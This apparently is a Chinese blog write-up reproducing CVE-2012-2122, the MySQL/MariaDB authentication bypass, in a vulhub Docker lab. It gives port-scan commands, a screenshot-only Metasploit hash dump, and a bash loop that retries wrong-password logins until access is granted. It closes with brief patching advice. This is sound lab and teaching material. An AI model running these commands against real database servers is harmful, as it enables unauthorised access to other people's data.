1.漏洞描述
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
2.影响版本
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 .
MySQL versions from 5.1.63, 5.5.24, 5.6.6 .
3.环境部署
kali :192.168.249.130
ubantu ip:192.168.249.137
搭建环境:
https://vulhub.org/#/environments/mysql/CVE-2012-2122/
启动环境 docker-compose up -d
![](https://i-blog.csdnimg.cn/blog_migrate/b7c21693cf40fbae4c7a0fa4fbb3db92.png)
4.漏洞复现(两种方式)
1.使用nmap扫描
使用nmap 对靶机进行扫描,查看所开放的端口,以及扫描数据库的版本信息
masscan --rate=10000 --ports 0-65535 192.168.249.137
nmap -T4 -sV -O -p 3306 192.168.249.137
![](https://i-blog.csdnimg.cn/blog_migrate/c33cf6c16f923e4a61000eab753ca8ad.png)
![](https://i-blog.csdnimg.cn/blog_migrate/1518b8bec2f246e9ffd7f7ff4cdaac1c.png)
扫描结果为:开启3306端口,并且mysql版本为5.5.23
配置msf参数
![](https://i-blog.csdnimg.cn/blog_migrate/93262da1c5042d9d2f91be8c64546590.png)
![](https://i-blog.csdnimg.cn/blog_migrate/3d3f1381954b4a9a82eaa01dd786dae3.png)
我们可以看到MD5加密的root用户密码
![](https://i-blog.csdnimg.cn/blog_migrate/f70330f3a8090192a0190bf9490e5b0e.png)
使用md5解密,密码为123456
![](https://i-blog.csdnimg.cn/blog_migrate/90b981f7ffd63917ed0ba3abb620de6f.png)
远程连接mysql数据库
mysql -h 192.168.249.137 -u root -p123456
![](https://i-blog.csdnimg.cn/blog_migrate/3a5da3ec00f2b33e8e2cb677c10ee124.png)
![](https://i-blog.csdnimg.cn/blog_migrate/abb8007a83e3e54ab7b67be92dbd6180.png)
2.执行脚本
进入终端执行命令
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.249.137 -P3306 ; done
![](https://i-blog.csdnimg.cn/blog_migrate/7da9ecbf768ecc0d32a51682434a2491.png)
经过漫长的等待......终于进入数据库
![](https://i-blog.csdnimg.cn/blog_migrate/eb721e0fa3f1cbf5fccab274d44e4373.png)
漏洞修复
对数据库进行升级打补丁
关闭mysql端口